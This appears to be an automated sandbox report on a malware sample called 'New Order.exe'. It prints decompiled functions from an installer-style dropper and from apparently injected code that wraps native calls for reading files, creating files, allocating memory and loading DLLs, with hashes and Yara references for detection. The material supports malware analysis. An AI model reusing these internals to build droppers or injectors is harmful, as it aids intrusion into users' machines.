C-Code - Quality: 100%

			E004024F1(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x20)) == __ebx) {
					_t7 = lstrlenA(E00402A29(0x11));
				} else {
					E00402A0C(1);
					 *0x40a010 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405B0F(_t17 + 8, _t15), "C:\Users\jones\AppData\Local\Temp\nssD6D3.tmp\System.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024f1
0x004024f1
0x004024f4
0x0040250f
0x004024f6
0x004024f8
0x004024fd
0x00402504
0x00402516
0x0040268f
0x0040268f
0x0040251c
0x0040252e
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x004028c1
0x004028cd

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 0040250F
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040252E

Strings

C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll, xrefs: 004024FD, 00402522

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nssD6D3.tmp\System.dll
API String ID: 427699356-3909376935
Opcode ID: faed2be3babe74328216e072a36557fa4b6c56c80749c58986111d6fd9eb6ae7
Instruction ID: 6775f3f9e4e00d505f4e1783fd87b496617f08e9b0a5c20f68d0788d80e55df2
Opcode Fuzzy Hash: faed2be3babe74328216e072a36557fa4b6c56c80749c58986111d6fd9eb6ae7
Instruction Fuzzy Hash: F9F08971A44244BFD710EFA49E49AEF7668DB40348F10043BF141F51C2D6FC5641966E

Uniqueness

Uniqueness Score: -1.00%

Function 004053F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004053F8(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422540->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422540,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405401
0x0040541d
0x00405425
0x0040542a
0x00000000
0x00405430
0x00405434

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422540,Error launching installer), ref: 0040541D
CloseHandle.KERNEL32(?), ref: 0040542A

Strings

Error launching installer, xrefs: 0040540B

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction ID: 7090b7fc8b0b8bfe0e18f62cc41de09a41a9c6505e722368f6ae49628a4dc155
Opcode Fuzzy Hash: d49f44695edecb7d462127f99e45c7a2ce7d09c155a88fefc4d0509107339d45
Instruction Fuzzy Hash: F6E0ECB4A00219BBDB109F64ED09AABBBBCFB00304F50C521E910E2160E774E950CA69

Uniqueness

Uniqueness Score: -1.00%

Function 00403556, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403556() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f4f4;
				_t3 = E0040353B(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f4f4 =  *0x41f4f4 & 0x00000000;
				return _t3;
			}

0x00403557
0x0040355f
0x00403566
0x00403569
0x00403569
0x0040356b
0x00403570
0x00403577
0x0040357d
0x00403581
0x00403582
0x0040358a

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,?,0040352E,00403337,00000020), ref: 00403570
GlobalFree.KERNEL32 ref: 00403577

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403568

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction ID: e2315670824f3ca0981a6a6bf9743b5050639b1b799e450ff7e3175358b78d1c
Opcode Fuzzy Hash: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction Fuzzy Hash: 10E08C329010206BC6215F08FD0479A7A6C6B44B22F11413AE804772B0C7742D424A88

Uniqueness

Uniqueness Score: -1.00%

Function 004056D2, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056D2(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x004056d3
0x004056dd
0x004056df
0x004056e6
0x004056ee
0x00000000
0x00000000
0x00000000
0x004056ee
0x004056f0
0x004056f5

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402CC1,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\New Order.exe,C:\Users\user\Desktop\New Order.exe,80000000,00000003), ref: 004056D8
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402CC1,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\New Order.exe,C:\Users\user\Desktop\New Order.exe,80000000,00000003), ref: 004056E6

Strings

C:\Users\user\Desktop, xrefs: 004056D2

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction ID: dce4988d3f9ae1539138201c89f565164349ec5ceb08caa00e339266b5a49006
Opcode Fuzzy Hash: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction Fuzzy Hash: 7FD0A772809D701EF30363108C04B8FBA48CF12310F490862E042E6191C27C6C414BBD

Uniqueness

Uniqueness Score: -1.00%

Function 100010D6, Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100010D6(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				 *0x10004060 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x10004038, E1000189E, _t52);
				_t43 =  *0x10004058 +  *0x10004058 * 4 << 2;
				_t17 = E10001561();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E1000159E(E100015E5( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E1000160E( *_t55 - 0x30, E10001561());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x10004030;
								 *0x10004030 = _t31;
								E10001854(_t31 + 4,  *0x10004060, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x10004030;
							if( *0x10004030 != 0) {
								E10001854( *0x10004060, _t34 + 4, _t43);
								_t37 =  *0x10004030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x10004030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x100010dd
0x100010e5
0x100010f9
0x10001101
0x1000110c
0x1000110f
0x10001117
0x1000111a
0x1000111c
0x100011ba
0x100011c6
0x10001122
0x10001123
0x10001123
0x10001126
0x10001127
0x1000112a
0x100011f9
0x100011fc
0x10001194
0x1000119a
0x100011a2
0x100011a7
0x100011aa
0x00000000
0x100011aa
0x100011ff
0x10001200
0x1000117c
0x10001182
0x1000118a
0x00000000
0x1000118a
0x10001148
0x10001149
0x10001151
0x1000115e
0x10001166
0x1000116f
0x10001174
0x10001174
0x00000000
0x10001149
0x10001130
0x100011c7
0x100011c7
0x100011ce
0x100011db
0x100011e0
0x100011e5
0x100011eb
0x100011f1
0x100011f1
0x00000000
0x100011ce
0x10001136
0x10001139
0x00000000
0x00000000
0x1000113f
0x10001142
0x10001191
0x00000000
0x10001191
0x10001145
0x10001146
0x10001179
0x00000000
0x10001179
0x00000000
0x100011b0
0x100011b0
0x00000000
0x100011b9

APIs

Part of subcall function 10001561: lstrcpyA.KERNEL32(00000000,?,?,?,10001804,?,10001017), ref: 1000157E
Part of subcall function 10001561: GlobalFree.KERNEL32 ref: 1000158F

GlobalAlloc.KERNEL32(00000040,?), ref: 10001151
GlobalFree.KERNEL32 ref: 100011AA
GlobalFree.KERNEL32 ref: 100011BD
GlobalFree.KERNEL32 ref: 100011EB

Memory Dump Source

Source File: 00000000.00000002.646234241.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.646220479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646244933.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.646258194.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: 335bfb3eee5401576ccd7ed7eaa48b8bc68e5a6de95141012eee8b581a67eaa8
Instruction ID: f3c6a4d1cb6ed30c88921a1fa743563ab198a0ac7443c24c90fc5835e0779d4c
Opcode Fuzzy Hash: 335bfb3eee5401576ccd7ed7eaa48b8bc68e5a6de95141012eee8b581a67eaa8
Instruction Fuzzy Hash: 4031CDB5804655AFF705CF64DCC9AEA7FFCEB092D1B164029FA45D726CEB3099008B64

Uniqueness

Uniqueness Score: -1.00%

Function 004057E4, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004057E4(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x004057f0
0x004057f2
0x0040581a
0x004057ff
0x00405804
0x0040580f
0x00000000
0x0040582c
0x00405818
0x00405818
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405804
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405812
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction ID: 6e20b17ba46ab238fcbb7c8296b2df733f1dbfa59429a89b2dba5ca226b3377d
Opcode Fuzzy Hash: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction Fuzzy Hash: C2F02733209D51ABC202AB255C00A2F7E98EF91320B24003AF440F2180D339AC219BFB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: New Order.exe PID: 7108 Parent PID: 7044 New Order.exeCOMMON

Executed Functions

Function 0041826B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E0041826B(void* __ecx, void* __edx, intOrPtr _a8, char _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, char _a36, intOrPtr _a40, intOrPtr _a44) {
				void* _t19;
				void* _t30;
				void* _t31;
				intOrPtr* _t32;
				void* _t35;

				_pop(_t35);
				_t14 = _a8;
				_t32 = _a8 + 0xc48;
				E00418DC0(_t30, _a8, _t32,  *((intOrPtr*)(_t14 + 0x10)), 0, 0x2a);
				_t7 =  &_a36; // 0x413d42
				_t13 =  &_a12; // 0x413d42
				_t19 =  *((intOrPtr*)( *_t32))( *_t13, _a16, _a20, _a24, _a28, _a32,  *_t7, _a40, _a44, _t31, _t35); // executed
				return _t19;
			}

0x0041826b
0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182B5

Strings

B=A, xrefs: 00418292, 004182A0
B=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: 187bb002100fb6ab149d1da442c197fead783b6569e470dbdb70871afe4d7cbc
Instruction ID: b4b8dffb8746685cf09e8dbbde7d968e5017f213423425d96ba188352e1d5a81
Opcode Fuzzy Hash: 187bb002100fb6ab149d1da442c197fead783b6569e470dbdb70871afe4d7cbc
Instruction Fuzzy Hash: 0EF0E7B2200104AFCB14CF99DC81EEB77A9AF8C314F11824DFA0D97241CA30E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d42
				_t12 =  &_a8; // 0x413d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(B=A,5E972F59,FFFFFFFF,00413A01,?,?,B=A,?,00413A01,FFFFFFFF,5E972F59,00413D42,?,00000000), ref: 004182B5

Strings

B=A, xrefs: 00418292, 004182A0
B=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: B=A$B=A
API String ID: 2738559852-2767357659
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B10, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B10(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041AB50( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF70(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1F0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E00419300(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b2c
0x00409b2f
0x00409b34
0x00409b39
0x00409b43
0x00409b48
0x00409b4b
0x00409b4d
0x00409b55
0x00409b5a
0x00409b5a
0x00409b61
0x00409b69
0x00409b6c
0x00409b6e
0x00409b82
0x00000000
0x00409b84
0x00409b8a
0x00409b3e
0x00409b3e
0x00409b3e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B82

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef87672b97a0886e10f8764aa3424ab38db9c8552605d50ddf467932449397af
Instruction ID: 84126a947bd5caf28c4e49c01306c3dbd7b90c96217fcb6da611176b22655e2e
Opcode Fuzzy Hash: ef87672b97a0886e10f8764aa3424ab38db9c8552605d50ddf467932449397af
Instruction Fuzzy Hash: 480112B5D0010DBBDF10DAE5EC42FDEB378AB54318F0041A9E908A7281F635EB54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181BC, Relevance: 1.5, APIs: 1, Instructions: 41
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E004181BC(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				asm("popad");
				asm("pushfd");
				asm("adc eax, 0xec8b55de");
				_t15 = _a4;
				_t3 = _t15 + 0xc40; // 0xc40
				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181bc
0x004181bd
0x004181be
0x004181c3
0x004181cf
0x004181d7
0x0041820d
0x00418211

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5cad9144d183346ae879de09c29e75ae222312ae59ecbf3d55fc78c6fbac51d6
Instruction ID: cdb24822743e8ab6572b1015fe0cd9ab7ea5ac13a19dc5de463f57fd323b1008
Opcode Fuzzy Hash: 5cad9144d183346ae879de09c29e75ae222312ae59ecbf3d55fc78c6fbac51d6
Instruction Fuzzy Hash: 70F0B6B2201108AFCB18CF88DD85DEB37A9AF8C354F15824CFA0D97240C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004181C0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004181C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;
				void* _t31;

				_t3 = _a4 + 0xc40; // 0xc40
				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x004181cf
0x004181d7
0x0041820d
0x00418211

APIs

NtCreateFile.NTDLL(00000060,00408AE3,?,00413B87,00408AE3,FFFFFFFF,?,?,FFFFFFFF,00408AE3,00413B87,?,00408AE3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004183A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0x8bec97b5
				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AE3), ref: 004183D9

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041839F, Relevance: 1.5, APIs: 1, Instructions: 27
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041839F(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t15;
				void* _t22;

				_t11 = _a4;
				_t3 = _t11 + 0xc60; // 0x8bec97b5
				E00418DC0(_t22, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t15 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t15;
			}

0x004183a3
0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AE3), ref: 004183D9

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f45946b05a1dd7d052a3d9b6a11d98c611a3919fd67080911be21ade4fe0f789
Instruction ID: 87ddbe94940db6e86e19ec7af25380271b8098f6e1f5f7310d5c5a3be48bcf57
Opcode Fuzzy Hash: f45946b05a1dd7d052a3d9b6a11d98c611a3919fd67080911be21ade4fe0f789
Instruction Fuzzy Hash: A8F039B5204149ABCB14DF99DC84CA777A8FF88314B158A5EF94997202C634E855CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 004182EF, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004182EF(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				asm("adc [ebp-0x75], edx");
				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409733
				E00418DC0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182ef
0x004182f3
0x004182f6
0x004182ff
0x00418307
0x00418315
0x00418319

APIs

NtClose.NTDLL(00413D20,?,?,00413D20,00408AE3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c7bf09651163799e5d87b762f5c6b9a9a51a6c43893c55ed95e77720321bc510
Instruction ID: 15a8ecc3b6c92ffbf8e082a0504a7c379abb2f523aef7a3fb1d671db98285b2b
Opcode Fuzzy Hash: c7bf09651163799e5d87b762f5c6b9a9a51a6c43893c55ed95e77720321bc510
Instruction Fuzzy Hash: DDE01275640214BFD714DFA4DC45EEB7B68EF55350F15455EF91D9B242C630E9008B90

Uniqueness

Uniqueness Score: -1.00%

